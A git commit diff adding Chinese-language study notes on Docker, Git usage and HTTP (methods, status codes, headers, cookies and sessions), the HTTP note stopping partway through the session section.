adjust for docsify
This commit is contained in:
91
docs/notes/Docker.md
Normal file
91
docs/notes/Docker.md
Normal file
@ -0,0 +1,91 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、解决的问题](#一解决的问题)
|
||||
* [二、与虚拟机的比较](#二与虚拟机的比较)
|
||||
* [三、优势](#三优势)
|
||||
* [四、使用场景](#四使用场景)
|
||||
* [五、镜像与容器](#五镜像与容器)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
<div align="center"> <img src="../pics//011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png"/> </div><br>
|
||||
|
||||
# 一、解决的问题
|
||||
|
||||
由于不同的机器有不同的操作系统,以及不同的库和组件,在将一个应用部署到多台机器上需要进行大量的环境配置操作。
|
||||
|
||||
Docker 主要解决环境配置问题,它是一种虚拟化技术,对进程进行隔离,被隔离的进程独立于宿主操作系统和其它隔离的进程。使用 Docker 可以不修改应用程序代码,不需要开发人员学习特定环境下的技术,就能够将现有的应用程序部署在其他机器中。
|
||||
|
||||
# 二、与虚拟机的比较
|
||||
|
||||
虚拟机也是一种虚拟化技术,它与 Docker 最大的区别在于它是通过模拟硬件,并在硬件上安装操作系统来实现。
|
||||
|
||||
<div align="center"> <img src="../pics//71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png"/> </div><br>
|
||||
|
||||
<div align="center"> <img src="../pics//7e873b60-44dc-4911-b080-defd5b8f0b49.png"/> </div><br>
|
||||
|
||||
## 启动速度
|
||||
|
||||
启动虚拟机需要启动虚拟机的操作系统,再启动应用,这个过程非常慢;
|
||||
|
||||
而启动 Docker 相当于启动宿主操作系统上的一个进程。
|
||||
|
||||
## 占用资源
|
||||
|
||||
虚拟机是一个完整的操作系统,需要占用大量的磁盘、内存和 CPU,一台机器只能开启几十个的虚拟机。
|
||||
|
||||
而 Docker 只是一个进程,只需要将应用以及相关的组件打包,在运行时占用很少的资源,一台机器可以开启成千上万个 Docker。
|
||||
|
||||
# 三、优势
|
||||
|
||||
除了启动速度快以及占用资源少之外,Docker 具有以下优势:
|
||||
|
||||
## 更容易迁移
|
||||
|
||||
提供一致性的运行环境,可以在不同的机器上进行迁移,而不用担心环境变化导致无法运行。
|
||||
|
||||
## 更容易维护
|
||||
|
||||
使用分层技术和镜像,使得应用可以更容易复用重复部分。复用程度越高,维护工作也越容易。
|
||||
|
||||
## 更容易扩展
|
||||
|
||||
可以使用基础镜像进一步扩展得到新的镜像,并且官方和开源社区提供了大量的镜像,通过扩展这些镜像可以非常容易得到我们想要的镜像。
|
||||
|
||||
# 四、使用场景
|
||||
|
||||
## 持续集成
|
||||
|
||||
持续集成指的是频繁地将代码集成到主干上,这样能够更快地发现错误。
|
||||
|
||||
Docker 具有轻量级以及隔离性的特点,在将代码集成到一个 Docker 中不会对其它 Docker 产生影响。
|
||||
|
||||
## 提供可伸缩的云服务
|
||||
|
||||
根据应用的负载情况,可以很容易地增加或者减少 Docker。
|
||||
|
||||
## 搭建微服务架构
|
||||
|
||||
Docker 轻量级的特点使得它很适合用于部署、维护、组合微服务。
|
||||
|
||||
# 五、镜像与容器
|
||||
|
||||
镜像是一种静态的结构,可以看成面向对象里面的类,而容器是镜像的一个实例。
|
||||
|
||||
镜像包含着容器运行时所需要的代码以及其它组件,它是一种分层结构,每一层都是只读的(read-only layers)。构建镜像时,会一层一层构建,前一层是后一层的基础。镜像的这种分层存储结构很适合镜像的复用以及定制。
|
||||
|
||||
构建容器时,通过在镜像的基础上添加一个可写层(writable layer),用来保存着容器运行过程中的修改。
|
||||
|
||||
<div align="center"> <img src="../pics//docker-filesystems-busyboxrw.png"/> </div><br>
|
||||
|
||||
# 参考资料
|
||||
|
||||
- [DOCKER 101: INTRODUCTION TO DOCKER WEBINAR RECAP](https://blog.docker.com/2017/08/docker-101-introduction-docker-webinar-recap/)
|
||||
- [Docker 入门教程](http://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html)
|
||||
- [Docker container vs Virtual machine](http://www.bogotobogo.com/DevOps/Docker/Docker_Container_vs_Virtual_Machine.php)
|
||||
- [How to Create Docker Container using Dockerfile](https://linoxide.com/linux-how-to/dockerfile-create-docker-container/)
|
||||
- [理解 Docker(2):Docker 镜像](http://www.cnblogs.com/sammyliu/p/5877964.html)
|
||||
- [为什么要使用 Docker?](https://yeasy.gitbooks.io/docker_practice/introduction/why.html)
|
||||
- [What is Docker](https://www.docker.com/what-docker)
|
||||
- [持续集成是什么?](http://www.ruanyifeng.com/blog/2015/09/continuous-integration.html)
|
||||
|
158
docs/notes/Git.md
Normal file
158
docs/notes/Git.md
Normal file
@ -0,0 +1,158 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [集中式与分布式](#集中式与分布式)
|
||||
* [中心服务器](#中心服务器)
|
||||
* [工作流](#工作流)
|
||||
* [分支实现](#分支实现)
|
||||
* [冲突](#冲突)
|
||||
* [Fast forward](#fast-forward)
|
||||
* [分支管理策略](#分支管理策略)
|
||||
* [储藏(Stashing)](#储藏stashing)
|
||||
* [SSH 传输设置](#ssh-传输设置)
|
||||
* [.gitignore 文件](#gitignore-文件)
|
||||
* [Git 命令一览](#git-命令一览)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 集中式与分布式
|
||||
|
||||
Git 属于分布式版本控制系统,而 SVN 属于集中式。
|
||||
|
||||
集中式版本控制只有中心服务器拥有一份代码,而分布式版本控制每个人的电脑上就有一份完整的代码。
|
||||
|
||||
集中式版本控制有安全性问题,当中心服务器挂了所有人都没办法工作了。
|
||||
|
||||
集中式版本控制需要连网才能工作,如果网速过慢,那么提交一个文件的会慢的无法让人忍受。而分布式版本控制不需要连网就能工作。
|
||||
|
||||
分布式版本控制新建分支、合并分支操作速度非常快,而集中式版本控制新建一个分支相当于复制一份完整代码。
|
||||
|
||||
# 中心服务器
|
||||
|
||||
中心服务器用来交换每个用户的修改,没有中心服务器也能工作,但是中心服务器能够 24 小时保持开机状态,这样就能更方便的交换修改。
|
||||
|
||||
Github 就是一个中心服务器。
|
||||
|
||||
# 工作流
|
||||
|
||||
<div align="center"> <img src="../pics//a1198642-9159-4d88-8aec-c3b04e7a2563.jpg"/> </div><br>
|
||||
|
||||
新建一个仓库之后,当前目录就成为了工作区,工作区下有一个隐藏目录 .git,它属于 Git 的版本库。
|
||||
|
||||
Git 版本库有一个称为 stage 的暂存区,还有自动创建的 master 分支以及指向分支的 HEAD 指针。
|
||||
|
||||
<div align="center"> <img src="../pics//46f66e88-e65a-4ad0-a060-3c63fe22947c.png"/> </div><br>
|
||||
|
||||
- git add files 把文件的修改添加到暂存区
|
||||
- git commit 把暂存区的修改提交到当前分支,提交之后暂存区就被清空了
|
||||
- git reset -- files 使用当前分支上的修改覆盖暂存区,用来撤销最后一次 git add files
|
||||
- git checkout -- files 使用暂存区的修改覆盖工作目录,用来撤销本地修改
|
||||
|
||||
<div align="center"> <img src="../pics//17976404-95f5-480e-9cb4-250e6aa1d55f.png"/> </div><br>
|
||||
|
||||
可以跳过暂存区域直接从分支中取出修改,或者直接提交修改到分支中。
|
||||
|
||||
- git commit -a 直接把所有文件的修改添加到暂存区然后执行提交
|
||||
- git checkout HEAD -- files 取出最后一次修改,可以用来进行回滚操作
|
||||
|
||||
# 分支实现
|
||||
|
||||
使用指针将每个提交连接成一条时间线,HEAD 指针指向当前分支指针。
|
||||
|
||||
<div align="center"> <img src="../pics//fb546e12-e1fb-4b72-a1fb-8a7f5000dce6.jpg"/> </div><br>
|
||||
|
||||
新建分支是新建一个指针指向时间线的最后一个节点,并让 HEAD 指针指向新分支表示新分支成为当前分支。
|
||||
|
||||
<div align="center"> <img src="../pics//bc775758-89ab-4805-9f9c-78b8739cf780.jpg"/> </div><br>
|
||||
|
||||
每次提交只会让当前分支指针向前移动,而其它分支指针不会移动。
|
||||
|
||||
<div align="center"> <img src="../pics//5292faa6-0141-4638-bf0f-bb95b081dcba.jpg"/> </div><br>
|
||||
|
||||
合并分支也只需要改变指针即可。
|
||||
|
||||
<div align="center"> <img src="../pics//1164a71f-413d-494a-9cc8-679fb6a2613d.jpg"/> </div><br>
|
||||
|
||||
# 冲突
|
||||
|
||||
当两个分支都对同一个文件的同一行进行了修改,在分支合并时就会产生冲突。
|
||||
|
||||
<div align="center"> <img src="../pics//58e57a21-6b6b-40b6-af85-956dd4e0f55a.jpg"/> </div><br>
|
||||
|
||||
Git 会使用 <<<<<<< ,======= ,>>>>>>> 标记出不同分支的内容,只需要把不同分支中冲突部分修改成一样就能解决冲突。
|
||||
|
||||
```
|
||||
<<<<<<< HEAD
|
||||
Creating a new branch is quick & simple.
|
||||
=======
|
||||
Creating a new branch is quick AND simple.
|
||||
>>>>>>> feature1
|
||||
```
|
||||
|
||||
# Fast forward
|
||||
|
||||
"快进式合并"(fast-farward merge),会直接将 master 分支指向合并的分支,这种模式下进行分支合并会丢失分支信息,也就不能在分支历史上看出分支信息。
|
||||
|
||||
可以在合并时加上 --no-ff 参数来禁用 Fast forward 模式,并且加上 -m 参数让合并时产生一个新的 commit。
|
||||
|
||||
```
|
||||
$ git merge --no-ff -m "merge with no-ff" dev
|
||||
```
|
||||
|
||||
<div align="center"> <img src="../pics//dd78a1fe-1ff3-4bcf-a56f-8c003995beb6.jpg"/> </div><br>
|
||||
|
||||
# 分支管理策略
|
||||
|
||||
master 分支应该是非常稳定的,只用来发布新版本;
|
||||
|
||||
日常开发在开发分支 dev 上进行。
|
||||
|
||||
<div align="center"> <img src="../pics//245fd2fb-209c-4ad5-bc5e-eb5664966a0e.jpg"/> </div><br>
|
||||
|
||||
# 储藏(Stashing)
|
||||
|
||||
在一个分支上操作之后,如果还没有将修改提交到分支上,此时进行切换分支,那么另一个分支上也能看到新的修改。这是因为所有分支都共用一个工作区的缘故。
|
||||
|
||||
可以使用 git stash 将当前分支的修改储藏起来,此时当前工作区的所有修改都会被存到栈上,也就是说当前工作区是干净的,没有任何未提交的修改。此时就可以安全的切换到其它分支上了。
|
||||
|
||||
```
|
||||
$ git stash
|
||||
Saved working directory and index state \ "WIP on master: 049d078 added the index file"
|
||||
HEAD is now at 049d078 added the index file (To restore them type "git stash apply")
|
||||
```
|
||||
|
||||
该功能可以用于 bug 分支的实现。如果当前正在 dev 分支上进行开发,但是此时 master 上有个 bug 需要修复,但是 dev 分支上的开发还未完成,不想立即提交。在新建 bug 分支并切换到 bug 分支之前就需要使用 git stash 将 dev 分支的未提交修改储藏起来。
|
||||
|
||||
# SSH 传输设置
|
||||
|
||||
Git 仓库和 Github 中心仓库之间的传输是通过 SSH 加密。
|
||||
|
||||
如果工作区下没有 .ssh 目录,或者该目录下没有 id_rsa 和 id_rsa.pub 这两个文件,可以通过以下命令来创建 SSH Key:
|
||||
|
||||
```
|
||||
$ ssh-keygen -t rsa -C "youremail@example.com"
|
||||
```
|
||||
|
||||
然后把公钥 id_rsa.pub 的内容复制到 Github "Account settings" 的 SSH Keys 中。
|
||||
|
||||
# .gitignore 文件
|
||||
|
||||
忽略以下文件:
|
||||
|
||||
- 操作系统自动生成的文件,比如缩略图;
|
||||
- 编译生成的中间文件,比如 Java 编译产生的 .class 文件;
|
||||
- 自己的敏感信息,比如存放口令的配置文件。
|
||||
|
||||
不需要全部自己编写,可以到 [https://github.com/github/gitignore](https://github.com/github/gitignore) 中进行查询。
|
||||
|
||||
# Git 命令一览
|
||||
|
||||
<div align="center"> <img src="../pics//7a29acce-f243-4914-9f00-f2988c528412.jpg"/> </div><br>
|
||||
|
||||
比较详细的地址:http://www.cheat-sheets.org/saved-copy/git-cheat-sheet.pdf
|
||||
|
||||
# 参考资料
|
||||
|
||||
- [Git - 简明指南](http://rogerdudler.github.io/git-guide/index.zh.html)
|
||||
- [图解 Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
|
||||
- [廖雪峰 : Git 教程](https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
|
||||
- [Learn Git Branching](https://learngitbranching.js.org/)
|
891
docs/notes/HTTP.md
Normal file
891
docs/notes/HTTP.md
Normal file
@ -0,0 +1,891 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一 、基础概念](#一-基础概念)
|
||||
* [URL](#url)
|
||||
* [请求和响应报文](#请求和响应报文)
|
||||
* [二、HTTP 方法](#二http-方法)
|
||||
* [GET](#get)
|
||||
* [HEAD](#head)
|
||||
* [POST](#post)
|
||||
* [PUT](#put)
|
||||
* [PATCH](#patch)
|
||||
* [DELETE](#delete)
|
||||
* [OPTIONS](#options)
|
||||
* [CONNECT](#connect)
|
||||
* [TRACE](#trace)
|
||||
* [三、HTTP 状态码](#三http-状态码)
|
||||
* [1XX 信息](#1xx-信息)
|
||||
* [2XX 成功](#2xx-成功)
|
||||
* [3XX 重定向](#3xx-重定向)
|
||||
* [4XX 客户端错误](#4xx-客户端错误)
|
||||
* [5XX 服务器错误](#5xx-服务器错误)
|
||||
* [四、HTTP 首部](#四http-首部)
|
||||
* [通用首部字段](#通用首部字段)
|
||||
* [请求首部字段](#请求首部字段)
|
||||
* [响应首部字段](#响应首部字段)
|
||||
* [实体首部字段](#实体首部字段)
|
||||
* [五、具体应用](#五具体应用)
|
||||
* [连接管理](#连接管理)
|
||||
* [Cookie](#cookie)
|
||||
* [缓存](#缓存)
|
||||
* [内容协商](#内容协商)
|
||||
* [内容编码](#内容编码)
|
||||
* [范围请求](#范围请求)
|
||||
* [分块传输编码](#分块传输编码)
|
||||
* [多部分对象集合](#多部分对象集合)
|
||||
* [虚拟主机](#虚拟主机)
|
||||
* [通信数据转发](#通信数据转发)
|
||||
* [六、HTTPs](#六https)
|
||||
* [加密](#加密)
|
||||
* [认证](#认证)
|
||||
* [完整性保护](#完整性保护)
|
||||
* [HTTPs 的缺点](#https-的缺点)
|
||||
* [七、HTTP/2.0](#七http20)
|
||||
* [HTTP/1.x 缺陷](#http1x-缺陷)
|
||||
* [二进制分帧层](#二进制分帧层)
|
||||
* [服务端推送](#服务端推送)
|
||||
* [首部压缩](#首部压缩)
|
||||
* [八、HTTP/1.1 新特性](#八http11-新特性)
|
||||
* [九、GET 和 POST 比较](#九get-和-post-比较)
|
||||
* [作用](#作用)
|
||||
* [参数](#参数)
|
||||
* [安全](#安全)
|
||||
* [幂等性](#幂等性)
|
||||
* [可缓存](#可缓存)
|
||||
* [XMLHttpRequest](#xmlhttprequest)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一 、基础概念
|
||||
|
||||
## URL
|
||||
|
||||
URI 包含 URL 和 URN,目前 WEB 只有 URL 比较流行,所以见到的基本都是 URL。
|
||||
|
||||
- URI(Uniform Resource Identifier,统一资源标识符)
|
||||
- URL(Uniform Resource Locator,统一资源定位符)
|
||||
- URN(Uniform Resource Name,统一资源名称)
|
||||
|
||||
<div align="center"> <img src="../pics//urlnuri.jpg" width="600"/> </div><br>
|
||||
|
||||
## 请求和响应报文
|
||||
|
||||
### 1. 请求报文
|
||||
|
||||
<div align="center"> <img src="../pics//HTTP_RequestMessageExample.png" width=""/> </div><br>
|
||||
|
||||
### 2. 响应报文
|
||||
|
||||
<div align="center"> <img src="../pics//HTTP_ResponseMessageExample.png" width=""/> </div><br>
|
||||
|
||||
# 二、HTTP 方法
|
||||
|
||||
客户端发送的 **请求报文** 第一行为请求行,包含了方法字段。
|
||||
|
||||
## GET
|
||||
|
||||
> 获取资源
|
||||
|
||||
当前网络请求中,绝大部分使用的是 GET 方法。
|
||||
|
||||
## HEAD
|
||||
|
||||
> 获取报文首部
|
||||
|
||||
和 GET 方法一样,但是不返回报文实体主体部分。
|
||||
|
||||
主要用于确认 URL 的有效性以及资源更新的日期时间等。
|
||||
|
||||
## POST
|
||||
|
||||
> 传输实体主体
|
||||
|
||||
POST 主要用来传输数据,而 GET 主要用来获取资源。
|
||||
|
||||
更多 POST 与 GET 的比较请见第九章。
|
||||
|
||||
## PUT
|
||||
|
||||
> 上传文件
|
||||
|
||||
由于自身不带验证机制,任何人都可以上传文件,因此存在安全性问题,一般不使用该方法。
|
||||
|
||||
```html
|
||||
PUT /new.html HTTP/1.1
|
||||
Host: example.com
|
||||
Content-type: text/html
|
||||
Content-length: 16
|
||||
|
||||
<p>New File</p>
|
||||
```
|
||||
|
||||
## PATCH
|
||||
|
||||
> 对资源进行部分修改
|
||||
|
||||
PUT 也可以用于修改资源,但是只能完全替代原始资源,PATCH 允许部分修改。
|
||||
|
||||
```html
|
||||
PATCH /file.txt HTTP/1.1
|
||||
Host: www.example.com
|
||||
Content-Type: application/example
|
||||
If-Match: "e0023aa4e"
|
||||
Content-Length: 100
|
||||
|
||||
[description of changes]
|
||||
```
|
||||
|
||||
## DELETE
|
||||
|
||||
> 删除文件
|
||||
|
||||
与 PUT 功能相反,并且同样不带验证机制。
|
||||
|
||||
```html
|
||||
DELETE /file.html HTTP/1.1
|
||||
```
|
||||
|
||||
## OPTIONS
|
||||
|
||||
> 查询支持的方法
|
||||
|
||||
查询指定的 URL 能够支持的方法。
|
||||
|
||||
会返回 Allow: GET, POST, HEAD, OPTIONS 这样的内容。
|
||||
|
||||
## CONNECT
|
||||
|
||||
> 要求在与代理服务器通信时建立隧道
|
||||
|
||||
使用 SSL(Secure Sockets Layer,安全套接层)和 TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。
|
||||
|
||||
```html
|
||||
CONNECT www.example.com:443 HTTP/1.1
|
||||
```
|
||||
|
||||
<div align="center"> <img src="../pics//dc00f70e-c5c8-4d20-baf1-2d70014a97e3.jpg" width=""/> </div><br>
|
||||
|
||||
## TRACE
|
||||
|
||||
> 追踪路径
|
||||
|
||||
服务器会将通信路径返回给客户端。
|
||||
|
||||
发送请求时,在 Max-Forwards 首部字段中填入数值,每经过一个服务器就会减 1,当数值为 0 时就停止传输。
|
||||
|
||||
通常不会使用 TRACE,并且它容易受到 XST 攻击(Cross-Site Tracing,跨站追踪)。
|
||||
# 三、HTTP 状态码
|
||||
|
||||
服务器返回的 **响应报文** 中第一行为状态行,包含了状态码以及原因短语,用来告知客户端请求的结果。
|
||||
|
||||
| 状态码 | 类别 | 原因短语 |
|
||||
| :---: | :---: | :---: |
|
||||
| 1XX | Informational(信息性状态码) | 接收的请求正在处理 |
|
||||
| 2XX | Success(成功状态码) | 请求正常处理完毕 |
|
||||
| 3XX | Redirection(重定向状态码) | 需要进行附加操作以完成请求 |
|
||||
| 4XX | Client Error(客户端错误状态码) | 服务器无法处理请求 |
|
||||
| 5XX | Server Error(服务器错误状态码) | 服务器处理请求出错 |
|
||||
|
||||
## 1XX 信息
|
||||
|
||||
- **100 Continue** :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。
|
||||
|
||||
## 2XX 成功
|
||||
|
||||
- **200 OK**
|
||||
|
||||
- **204 No Content** :请求已经成功处理,但是返回的响应报文不包含实体的主体部分。一般在只需要从客户端往服务器发送信息,而不需要返回数据时使用。
|
||||
|
||||
- **206 Partial Content** :表示客户端进行了范围请求,响应报文包含由 Content-Range 指定范围的实体内容。
|
||||
|
||||
## 3XX 重定向
|
||||
|
||||
- **301 Moved Permanently** :永久性重定向
|
||||
|
||||
- **302 Found** :临时性重定向
|
||||
|
||||
- **303 See Other** :和 302 有着相同的功能,但是 303 明确要求客户端应该采用 GET 方法获取资源。
|
||||
|
||||
- 注:虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法,但是大多数浏览器都会在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。
|
||||
|
||||
- **304 Not Modified** :如果请求报文首部包含一些条件,例如:If-Match,If-Modified-Since,If-None-Match,If-Range,If-Unmodified-Since,如果不满足条件,则服务器会返回 304 状态码。
|
||||
|
||||
- **307 Temporary Redirect** :临时重定向,与 302 的含义类似,但是 307 要求浏览器不会把重定向请求的 POST 方法改成 GET 方法。
|
||||
|
||||
## 4XX 客户端错误
|
||||
|
||||
- **400 Bad Request** :请求报文中存在语法错误。
|
||||
|
||||
- **401 Unauthorized** :该状态码表示发送的请求需要有认证信息(BASIC 认证、DIGEST 认证)。如果之前已进行过一次请求,则表示用户认证失败。
|
||||
|
||||
- **403 Forbidden** :请求被拒绝。
|
||||
|
||||
- **404 Not Found**
|
||||
|
||||
## 5XX 服务器错误
|
||||
|
||||
- **500 Internal Server Error** :服务器正在执行请求时发生错误。
|
||||
|
||||
- **503 Service Unavailable** :服务器暂时处于超负载或正在进行停机维护,现在无法处理请求。
|
||||
|
||||
# 四、HTTP 首部
|
||||
|
||||
有 4 种类型的首部字段:通用首部字段、请求首部字段、响应首部字段和实体首部字段。
|
||||
|
||||
各种首部字段及其含义如下(不需要全记,仅供查阅):
|
||||
|
||||
## 通用首部字段
|
||||
|
||||
| 首部字段名 | 说明 |
|
||||
| :--: | :--: |
|
||||
| Cache-Control | 控制缓存的行为 |
|
||||
| Connection | 控制不再转发给代理的首部字段、管理持久连接|
|
||||
| Date | 创建报文的日期时间 |
|
||||
| Pragma | 报文指令 |
|
||||
| Trailer | 报文末端的首部一览 |
|
||||
| Transfer-Encoding | 指定报文主体的传输编码方式 |
|
||||
| Upgrade | 升级为其他协议 |
|
||||
| Via | 代理服务器的相关信息 |
|
||||
| Warning | 错误通知 |
|
||||
|
||||
## 请求首部字段
|
||||
|
||||
| 首部字段名 | 说明 |
|
||||
| :--: | :--: |
|
||||
| Accept | 用户代理可处理的媒体类型 |
|
||||
| Accept-Charset | 优先的字符集 |
|
||||
| Accept-Encoding | 优先的内容编码 |
|
||||
| Accept-Language | 优先的语言(自然语言) |
|
||||
| Authorization | Web 认证信息 |
|
||||
| Expect | 期待服务器的特定行为 |
|
||||
| From | 用户的电子邮箱地址 |
|
||||
| Host | 请求资源所在服务器 |
|
||||
| If-Match | 比较实体标记(ETag) |
|
||||
| If-Modified-Since | 比较资源的更新时间 |
|
||||
| If-None-Match | 比较实体标记(与 If-Match 相反) |
|
||||
| If-Range | 资源未更新时发送实体 Byte 的范围请求 |
|
||||
| If-Unmodified-Since | 比较资源的更新时间(与 If-Modified-Since 相反) |
|
||||
| Max-Forwards | 最大传输逐跳数 |
|
||||
| Proxy-Authorization | 代理服务器要求客户端的认证信息 |
|
||||
| Range | 实体的字节范围请求 |
|
||||
| Referer | 对请求中 URI 的原始获取方 |
|
||||
| TE | 传输编码的优先级 |
|
||||
| User-Agent | HTTP 客户端程序的信息 |
|
||||
|
||||
## 响应首部字段
|
||||
|
||||
| 首部字段名 | 说明 |
|
||||
| :--: | :--: |
|
||||
| Accept-Ranges | 是否接受字节范围请求 |
|
||||
| Age | 推算资源创建经过时间 |
|
||||
| ETag | 资源的匹配信息 |
|
||||
| Location | 令客户端重定向至指定 URI |
|
||||
| Proxy-Authenticate | 代理服务器对客户端的认证信息 |
|
||||
| Retry-After | 对再次发起请求的时机要求 |
|
||||
| Server | HTTP 服务器的安装信息 |
|
||||
| Vary | 代理服务器缓存的管理信息 |
|
||||
| WWW-Authenticate | 服务器对客户端的认证信息 |
|
||||
|
||||
## 实体首部字段
|
||||
|
||||
| 首部字段名 | 说明 |
|
||||
| :--: | :--: |
|
||||
| Allow | 资源可支持的 HTTP 方法 |
|
||||
| Content-Encoding | 实体主体适用的编码方式 |
|
||||
| Content-Language | 实体主体的自然语言 |
|
||||
| Content-Length | 实体主体的大小 |
|
||||
| Content-Location | 替代对应资源的 URI |
|
||||
| Content-MD5 | 实体主体的报文摘要 |
|
||||
| Content-Range | 实体主体的位置范围 |
|
||||
| Content-Type | 实体主体的媒体类型 |
|
||||
| Expires | 实体主体过期的日期时间 |
|
||||
| Last-Modified | 资源的最后修改日期时间 |
|
||||
|
||||
# 五、具体应用
|
||||
|
||||
## 连接管理
|
||||
|
||||
<div align="center"> <img src="../pics//HTTP1_x_Connections.png" width="800"/> </div><br>
|
||||
|
||||
### 1. 短连接与长连接
|
||||
|
||||
当浏览器访问一个包含多张图片的 HTML 页面时,除了请求访问 HTML 页面资源,还会请求图片资源。如果每进行一次 HTTP 通信就要新建一个 TCP 连接,那么开销会很大。
|
||||
|
||||
长连接只需要建立一次 TCP 连接就能进行多次 HTTP 通信。
|
||||
|
||||
- 从 HTTP/1.1 开始默认是长连接的,如果要断开连接,需要由客户端或者服务器端提出断开,使用 `Connection : close`;
|
||||
- 在 HTTP/1.1 之前默认是短连接的,如果需要使用长连接,则使用 `Connection : Keep-Alive`。
|
||||
|
||||
### 2. 流水线
|
||||
|
||||
默认情况下,HTTP 请求是按顺序发出的,下一个请求只有在当前请求收到响应之后才会被发出。由于会受到网络延迟和带宽的限制,在下一个请求被发送到服务器之前,可能需要等待很长时间。
|
||||
|
||||
流水线是在同一条长连接上发出连续的请求,而不用等待响应返回,这样可以避免连接延迟。
|
||||
|
||||
## Cookie
|
||||
|
||||
HTTP 协议是无状态的,主要是为了让 HTTP 协议尽可能简单,使得它能够处理大量事务。HTTP/1.1 引入 Cookie 来保存状态信息。
|
||||
|
||||
Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器之后向同一服务器再次发起请求时被携带上,用于告知服务端两个请求是否来自同一浏览器。由于之后每次请求都会需要携带 Cookie 数据,因此会带来额外的性能开销(尤其是在移动环境下)。
|
||||
|
||||
Cookie 曾一度用于客户端数据的存储,因为当时并没有其它合适的存储办法而作为唯一的存储手段,但现在随着现代浏览器开始支持各种各样的存储方式,Cookie 渐渐被淘汰。新的浏览器 API 已经允许开发者直接将数据存储到本地,如使用 Web storage API(本地存储和会话存储)或 IndexedDB。
|
||||
|
||||
### 1. 用途
|
||||
|
||||
- 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
|
||||
- 个性化设置(如用户自定义设置、主题等)
|
||||
- 浏览器行为跟踪(如跟踪分析用户行为等)
|
||||
|
||||
### 2. 创建过程
|
||||
|
||||
服务器发送的响应报文包含 Set-Cookie 首部字段,客户端得到响应报文后把 Cookie 内容保存到浏览器中。
|
||||
|
||||
```html
|
||||
HTTP/1.0 200 OK
|
||||
Content-type: text/html
|
||||
Set-Cookie: yummy_cookie=choco
|
||||
Set-Cookie: tasty_cookie=strawberry
|
||||
|
||||
[page content]
|
||||
```
|
||||
|
||||
客户端之后对同一个服务器发送请求时,会从浏览器中取出 Cookie 信息并通过 Cookie 请求首部字段发送给服务器。
|
||||
|
||||
```html
|
||||
GET /sample_page.html HTTP/1.1
|
||||
Host: www.example.org
|
||||
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
|
||||
```
|
||||
|
||||
### 3. 分类
|
||||
|
||||
- 会话期 Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。
|
||||
- 持久性 Cookie:指定一个特定的过期时间(Expires)或有效期(max-age)之后就成为了持久性的 Cookie。
|
||||
|
||||
```html
|
||||
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
|
||||
```
|
||||
|
||||
### 4. 作用域
|
||||
|
||||
Domain 标识指定了哪些主机可以接受 Cookie。如果不指定,默认为当前文档的主机(不包含子域名)。如果指定了 Domain,则一般包含子域名。例如,如果设置 Domain=mozilla.org,则 Cookie 也包含在子域名中(如 developer.mozilla.org)。
|
||||
|
||||
Path 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符 %x2F ("/") 作为路径分隔符,子路径也会被匹配。例如,设置 Path=/docs,则以下地址都会匹配:
|
||||
|
||||
- /docs
|
||||
- /docs/Web/
|
||||
- /docs/Web/HTTP
|
||||
|
||||
### 5. JavaScript
|
||||
|
||||
通过 `document.cookie` 属性可创建新的 Cookie,也可通过该属性访问非 HttpOnly 标记的 Cookie。
|
||||
|
||||
```html
|
||||
document.cookie = "yummy_cookie=choco";
|
||||
document.cookie = "tasty_cookie=strawberry";
|
||||
console.log(document.cookie);
|
||||
```
|
||||
|
||||
### 6. HttpOnly
|
||||
|
||||
标记为 HttpOnly 的 Cookie 不能被 JavaScript 脚本调用。跨站脚本攻击 (XSS) 常常使用 JavaScript 的 `document.cookie` API 窃取用户的 Cookie 信息,因此使用 HttpOnly 标记可以在一定程度上避免 XSS 攻击。
|
||||
|
||||
```html
|
||||
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
|
||||
```
|
||||
|
||||
### 7. Secure
|
||||
|
||||
标记为 Secure 的 Cookie 只能通过被 HTTPS 协议加密过的请求发送给服务端。但即便设置了 Secure 标记,敏感信息也不应该通过 Cookie 传输,因为 Cookie 有其固有的不安全性,Secure 标记也无法提供确实的安全保障。
|
||||
|
||||
### 8. Session
|
||||
|
||||
除了可以将用户信息通过 Cookie 存储在用户浏览器中,也可以利用 Session 存储在服务器端,存储在服务器端的信息更加安全。
|
||||
|
||||
Session 可以存储在服务器上的文件、数据库或者内存中。也可以将 Session 存储在 Redis 这种内存型数据库中,效率会更高。
|
||||
|
||||
使用 Session 维护用户登录状态的过程如下:
|
||||
|
||||
- 用户进行登录时,用户提交包含用户名和密码的表单,放入 HTTP 请求报文中;
|
||||
- 服务器验证该用户名和密码,如果正确则把用户信息存储到 Redis 中,它在 Redis 中的 Key 称为 Session ID;
|
||||
- 服务器返回的响应报文的 Set-Cookie 首部字段包含了这个 Session ID,客户端收到响应报文之后将该 Cookie 值存入浏览器中;
|
||||
- 客户端之后对同一个服务器进行请求时会包含该 Cookie 值,服务器收到之后提取出 Session ID,从 Redis 中取出用户信息,继续之前的业务操作。
|
||||
|
||||
